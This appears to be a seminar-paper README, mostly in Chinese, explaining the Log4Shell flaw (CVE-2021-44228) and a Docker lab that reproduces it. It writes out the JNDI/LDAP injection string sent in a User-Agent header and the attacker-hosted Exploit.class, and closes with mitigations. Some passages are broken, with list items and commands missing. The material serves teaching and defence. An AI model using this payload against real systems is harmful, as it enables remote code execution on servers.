本仓库仅供教育和演示用途,用于安全相关的研讨会论文。请勿在生产环境中或未经明确许可的情况下对系统使用此代码。该构建旨在提升安全意识,并展示当看似无害的功能(如日志记录、名称解析和动态类加载)组合在一起时,可能产生复杂漏洞。
本研讨会论文旨在深入理解 Log4Shell 安全漏洞(CVE-2021-44228),该漏洞于 2021 年 12 月公开,并被列为近年来最关键的漏洞之一。论文既解释了理论基础,也展示了漏洞的实际演示。
为了直观展示 Log4Shell 安全漏洞,本仓库搭建了一个隔离的、容器化的环境,可复现完整的攻击流程。演示基于三个核心组件:
User-Agent 头,攻击者可操纵该头以利用漏洞。Exploit.class)。与 LDAP 服务器一样,此服务器也受攻击者控制。提示: 有关演示的搭建与运行详情,请参见第 4 节 项目结构与搭建和第 5 节 项目演示。
Log4Shell 是 Java 库 Log4j 中一个关键安全漏洞的名称,编号为 CVE-2021-44228。它允许攻击者以极低代价在远程服务器上执行任意代码(远程代码执行,简称 RCE)。
该漏洞影响 Log4j 2.0 到 2.14.1 版本,其严重性导致包括德国联邦信息安全办公室(BSI)在内的许多安全机构将其列为最高风险等级。
Log4Shell 之所以特别危险,是因为:
其根本原因在于 Log4j 的一项功能,允许通过所谓的查找(Lookups)在日志消息中加载动态内容。结合 JNDI(Java 命名和目录接口) 和 LDAP(轻量级目录访问协议) 协议,这允许加载并执行远程的恶意 Java 类。
该漏洞的发现与披露在全球引发了安全浪潮。许多系统必须立即打补丁或关闭。随后又出现了其他相关漏洞(例如 CVE-2021-45046),这表明该问题的深度与危险性。
下面将详细解释所涉及的技术及其相互配合,以增进对漏洞的深入理解。
Log4j 是 Apache 创建的一个用于在 Java 应用程序中记录事件的日志库。日志记录是软件开发中监控系统或分析错误的核心工具。Log4j 是 Java 生态系统中最为知名、使用最广泛的日志框架之一,既用于小型应用程序,也用于大型企业系统。
在程序运行过程中,例如会出现以下事件:
这些事件可以通过日志记录下来,通常以文本形式输出到控制台、文件或通过网络协议发送到中央日志服务器。合理的日志记录可以追溯应用程序在何时做了什么。
Log4j 提供了一个灵活、高度可配置的基础设施,用于生成和处理日志消息。核心功能包括:
DEBUG、INFO、WARN、ERROR),可用于控制日志的详细程度。其他与研讨会论文相关的功能将在后续章节中讨论,尤其是占位符功能和查找功能。
import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger;
public class Example { private static final Logger logger = LogManager.getLogger();
public static void main(String[] args) {
logger.info("Starte Anwendung...");
}
}
在这个简单的例子中,会创建或获取一个已经存在的Logger实例。接着,在`INFO`级别输出一条日志消息。Log4j根据配置负责消息的格式化和输出。一个示例配置可能如下所示:```xml
<Configuration status="WARN">
<Appenders>
<Console name="Console" target="SYSTEM_OUT">
<PatternLayout pattern="%d{yyyy-MM-dd HH:mm:ss} %-5p %c{1} - %m%n"/>
</Console>
</Appenders>
<Loggers>
<Root level="info">
<AppenderRef ref="Console"/>
</Root>
</Loggers>
</Configuration>
这段配置定义了一个附加器(Appender),它以 Datum Uhrzeit Log-Level Loggername - Nachricht 的格式在控制台输出日志消息。该附加器随后被分配给根日志记录器(Root Logger),后者处理所有级别为 INFO 及以上的日志消息。
输出可能如下所示:``` 2023-10-01 12:00:00 INFO Example - Starte Anwendung...
首先,我们来看一下Log4j中与Log4Shell安全漏洞最相关的具体特性。
#### 日志消息中的占位符
Log4j一个特别有用的特性是支持日志消息中的**占位符**。这样可以在运行时将动态内容插入到日志输出中:```java
String username = "Alice";
logger.info("Benutzer angemeldet: {}", username);
在此过程中,在运行时将 {} 替换为变量 username 的实际值。这将产生以下输出:```text
"Benutzer angemeldet: Alice"
#### 动态表达式(即 Lookups)
除了简单的占位符,Log4j 还提供了直接在日志消息中解析更复杂表达式的功能。此功能称为 **Lookup**:它允许在运行时动态插入值(例如环境变量、系统信息或配置值)。
此类动态表达式的示例:
- `${env:HOME}` - 返回环境变量 `HOME` 的值。在 Linux / macOS 下,例如 `/home/username`。
- `${docker:...}` - 可能提供运行应用程序的 Docker 容器的相关信息。
- `${jndi:...}` - 执行 JNDI 查找以加载内部或外部资源。
下一节将更详细地探讨 JNDI 功能,因为它在 Log4Shell 安全漏洞中扮演着核心角色。
### 3.2 JNDI - Lookup 机制
**JNDI** 是 _Java Naming and Directory Interface_ 的缩写,是一种标准化的 Java API,允许访问**命名和目录服务**。借助 JNDI,Java 应用程序可以通过符号名称而不是技术路径来引用资源。
JNDI 的一个典型用途是查找数据库连接,您可以看到如下示例:```java
public class JndiExample {
public static void main(String[] args) throws Exception {
InitialContext ctx = new InitialContext();
Datasource ds = (DataSource) ctx.lookup("java:/comp/env/jdbc/myDB");
// Datenbankverbindung verwenden
}
}
首先创建一个InitialContext,它代表使用JNDI进行名称解析的入口点。接着通过lookup方法查找一个资源,此例中是一个符号名为java:/comp/env/jdbc/myDB的数据源(DataSource)。

Java应用程序使用JNDI的协议无关接口,其中包含如InitialContext这样的类,以及lookup方法。无论使用LDAP、DNS还是其他协议,API始终相同。命名管理器(Naming Manager)充当中介,选择合适的服务提供商(Service Provider)来负责实际通信。JNDI SPI(服务提供者接口)是一组类,实现了针对不同协议的JNDI功能。在我们的场景中,相关的服务提供商是LDAP。
下一节我们将更详细地了解服务提供商LDAP。
LDAP 是轻量级目录访问协议(Lightweight Directory Access Protocol)的缩写,是一种标准化的网络协议,用于访问所谓的目录服务。它最初作为X.500的轻量级替代方案而开发,现已成为许多企业网络中的标准,尤其用于集中式的用户和权限管理。
目录服务是一种结构化的数据库,以层次化形式存储信息。与关系型数据库不同,目录具有以下特点:

如图所示,LDAP目录采用树状结构组织。根级别是域组件(dc)。其下可以有组织单元(ou),表示进一步的细分,例如Users。对于单个用户或对象,则有通用名称(cn),用于标识具体条目,并可包含多个属性。
含义:
dn:可分辨名称(Distinguished Name)dc:域组件(Domain Component)ou:组织单元(Organizational Unit)cn:通用名称(Common Name)接下来,我们看看如何访问LDAP,以及它在Log4Shell漏洞中所扮演的角色。
在LDAP中,也可以存储指向外部类的引用,这些类可在需要时动态加载。这是通过特殊属性如javaClassName和javaCodeBase实现的。这些属性可以指向一个URL,从该URL加载一个Java类。
例如,以下URL可以查询一个指向Java类的对象:``` ldap://ldap-server:1389/Exploit

如图所示,LDAP 条目包含一个 `javaClassName` 属性,指向 `Exploit` 类。通过 `javaCodeBase` 属性指定了加载该类的 URL,本例中是一个地址为 `http://payload-server/` 的 HTTP 服务器,提供 `Exploit.class` 文件。
至此,我们已经详细查看了所有技术组件。下一节将描述 Log4Shell 安全漏洞的总体流程,以理解这些技术如何协同工作以及由此产生的攻击向量。
### 3.4 Log4Shell 的一般流程
在分别考察了 **Log4j**(日志框架)、**JNDI**(目录服务接口)和 **LDAP**(具体目录服务)这三种相关技术之后,现在可以清楚地看到,如果没有采取安全措施,它们的组合可能有多么危险。
在 Log4j 版本 2.14.1 及之前,可以直接在日志消息中解析所谓的 **Lookups**(查找)。这使得可以通过 LDAP 嵌入 JNDI 查询,从而无需显式启用该功能,就能从远程服务器加载并执行任意 Java 类。
#### 具体交互场景:
现在我们将刚刚学到的知识应用于一个具体示例。第一步,我们使用以下表达式启动一个 JNDI 查找:```text
${jndi:...}
现在,我们使用LDAP服务提供程序来加载一个远程Java类 ldap://ldap-server:1389/Exploit。结合起来,得到以下字符串:```text
${jndi:ldap://ldap-server:1389/Exploit}
现在,攻击者只需确保这个字符串进入日志消息,例如通过操纵HTTP头。

如图所示,左侧是攻击者,他托管自己的LDAP服务器和Payload服务器。右侧是使用Log4j版本2.14.1的易受攻击的应用程序。攻击流程如下:
1. 攻击者向应用程序发送HTTP请求,并将上述被操纵的字符串填入例如`User-Agent`头中: ```http
User-Agent: ${jndi:ldap://ldap-server:1389/Exploit}
User-Agent 头部: ```java
logger.info("User-Agent: {}", request.getHeader("User-Agent"));
Log4j 识别 ${jndi:...} 并自动通过指定的协议 ldap 执行一个 JNDI 查找
现在调用 LDAP 服务提供者,以解析指定的 URL ldap://ldap-server:1389/Exploit。
LDAP 服务器响应一个指向外部 Java 类 (Exploit.class) 的引用,该类位于以下服务器上: ```
http://payload-server:8000/Exploit.class
应用程序向 Payload 服务器发送请求,以加载 Exploit.class。
Payload 服务器以 Java 类 Exploit.class 进行响应。随后,该类将在没有任何验证的情况下被执行。因此,攻击者可以完全控制在易受攻击服务器上执行的代码。
因为:
Log4j 中的动态查找、JNDI 的灵活名称解析以及 LDAP 协议的相互作用创造了一个意想不到的攻击面。原本被设计为强大配置功能的东西,成了远程代码执行的门户。
下一节将描述演示的项目结构和设置,以便在本地执行漏洞。
项目结构反映了三个核心组件:```text log4shell/ ... ├── vulnerable-app/ # Verwundbare Spring Boot-Anwendung mit Log4j 2.14.1 ├── ldap-server/ # LDAP-Server (Fork von marshalsec) ├── payload-server/ # HTTP-Server zur Auslieferung des Exploit-Payloads ...
### 4.2 前提条件
要在本地运行 Log4Shell 演示,需要满足以下前提条件:
#### Docker 和 Docker Compose
整个基础设施基于容器。Docker 确保每个组件(vulnerable-app、ldap-server、payload-server)在隔离环境中运行。
- **Docker**:
安装地址 [https://www.docker.com/get-started](https://www.docker.com/get-started)
- **Docker Compose**(Docker Desktop 已自带)
或者通过 [https://docs.docker.com/compose/](https://docs.docker.com/compose/) 安装
#### cURL
要使用命令行执行攻击,可以使用 `curl` 工具:
- Linux/macOS 上已预装
- Windows 上可通过 [https://curl.se/](https://curl.se/) 或 Git Bash 获取
> **注意:** 应用程序及所有包含的服务器均在本地计算机上运行,并且仅在隔离的 Docker 网络(`log4shell-network`)内进行通信。无需也不建立与外部服务器的连接。
### 4.3 设置
本节介绍如何在本地设置和启动环境。
#### 步骤 1:克隆仓库```bash
git clone https://github.com/fabioeletto/hka-seminar-log4shell.git
cd hka-seminar-log4shell
使用 Docker Compose 可以通过一条命令启动所有所需的服务:```bash docker-compose up --build
`docker-compose up --build` 将导致:
- `vulnerable_app`、`ldap_server` 和 `payload_server` 的镜像将被构建
- 所有三个服务都将启动
- 它们通过一个共享的内部 Docker 网络(`log4shell-network`)进行通信
成功启动后,可通过以下端点访问该应用程序:```
http://localhost:8080
日志输出和事件实时显示在控制台中。只要终端窗口打开(或进程在后台运行),容器就会运行。
注意: 确保其他服务未在端口 8080、1389 或 8000 上运行,以避免冲突。
如果您想关闭容器,可以使用
docker-compose down命令。这将停止并移除所有正在运行的容器,但镜像会保留。
本节将演示如何在提供的演示环境中触发 Log4Shell 漏洞。所有之前启动的组件将协同工作:
User-Agent 头Exploit.class)要执行演示,您需要两个控制台窗口。首先,在一个终端中使用 docker-compose up --build 启动环境(如果尚未这样做)。然后在第二个终端中执行以下步骤:
验证文件尚未存在:
由于这是一个演示,攻击仅创建一个空文件以演示成功执行。您可以在 payload-server/Exploit.java 类中看到这一点。要检查文件是否尚不存在,请执行以下命令: ```bash
docker exec vulnerable_app ls -l /tmp/remote_code_execution
如果文件不存在,应出现类似No such file or directory的错误信息。这确认了漏洞利用尚未执行。
Payload 说明:
${jndi:...}: Log4j 自动解析此表达式并执行 JNDI 查找。ldap://ldap-server:1389: 连接到在 Docker 网络中运行的 LDAP 服务器。/Exploit: LDAP 条目的名称,指向恶意类。http://localhost:8080: 易受攻击应用程序的 URL,您发送请求以触发 Log4j 漏洞。后台发生了什么?

User-Agent 头User-Agent 头,并通过 LDAP 执行 JNDI 查找Exploit.class,该文件由 Payload 服务器提供注意:如前所述,在此演示中仅创建一个空文件以演示成功执行。在真实攻击场景中,可以执行任意代码!
检查攻击结果
现在,您可以再次检查容器中是否创建了文件 /tmp/remote_code_execution: ```bash
docker exec vulnerable_app ls -l /tmp/remote_code_execution
如果攻击成功,您应该看到以下输出: ``` -rw-r--r-- 1 root root 0 Jun 9 12:34 /tmp/remote_code_execution
Mit nur einer einzelnen manipulierten Logzeile wird ein vollständiger Remote-Code-Ausführungsprozess ausgelöst, genau das macht Log4Shell so gefährlich. Diese Demo zeigt, wie das Zusammenspiel von **Log4j**, **JNDI** und **LDAP** zur Ausnutzung führen kann.
## 6. Schutzmaßnahmen
Die Log4Shell-Sicherheitslücke hat gezeigt, wie tiefgreifend moderne Anwendungen durch scheinbar harmlose Features kompromittiert werden können. Um Systeme wirksam gegen solche Angriffe abzusichern, sollten folgende Maßnahmen umgesetzt werden:
- **Log4j-Version aktualisieren (mindestens 2.17.1)**
Die wichtigste Maßnahme ist das **Update auf eine Log4j Version ≥ 2.17.1**, denn erst ab dieser Version wurden alle bekannten Schwachstellen (inklusive DoS und Konfigurations-Exploits) behoben. Frühere Versionen sind weiterhin verwundbar und sollten nicht mehr verwendet werden!
- **JNDI-Lookups deaktivieren**
Falls ein vollständiges Update nicht möglich ist, sollten **JNDI-Lookups deaktiviert** werden. Dies kann in der `log4j2.properties`-Datei durch Setzen der folgenden Konfiguration erreicht werden: ```properties
log4j2.formatMsgNoLookups=true
这种设置可以防止 Log4j 在日志消息中解析 JNDI 查找,从而显著减少攻击面。然而,这只是一个临时解决办法,因为其他漏洞(如 DoS、配置利用)可能仍然存在。
验证输入
所有用户输入在用于日志消息之前都应进行验证和清理。特别是 ${jndi:...} 这样的动态表达式不应直接接受。
限制出站网络连接
该漏洞利用的核心环节之一是无限制地访问攻击者控制的外部服务器。系统应配置为无法任意访问外部目标,例如通过防火墙或网络策略。尤其应禁止应用程序访问未知的 LDAP 目标。
Log4Shell 安全漏洞有力地表明,不仅要依赖自身代码的安全性,还要谨慎选择并理解所使用的库和框架。在本案例中,一个看似无害的日志库(Log4j)导致了远程代码执行漏洞。由此可见,依赖关系也可能成为漏洞的突破口。我们应始终思考是否真的需要某个外部库,或者是否可以在没有额外依赖的情况下实现某个功能。
另一个重要问题是隐藏的复杂性。诸如 ${env:HOME} 这样的功能在日志消息中看似无害,但背后隐藏了复杂的机制(如动态查找),可能在不知不觉中引入危险行为。更好的做法是使用明确且透明的解决方案,比如 System.getenv("HOME"),这样我们就能保持控制,并清楚了解发生了什么。
此外,还有一个普遍但常被忽视的原则:绝不对用户输入进行未经检查的处理。尤其是在日志记录、数据库访问或系统命令等安全关键操作中,必须对输入进行验证和清理。
最后,此事件表明,JNDI 查找这类强大功能默认启用有多危险。如果 Log4j 中该功能默认未启用,那么只有一小部分系统会受到影响。
最重要的教训: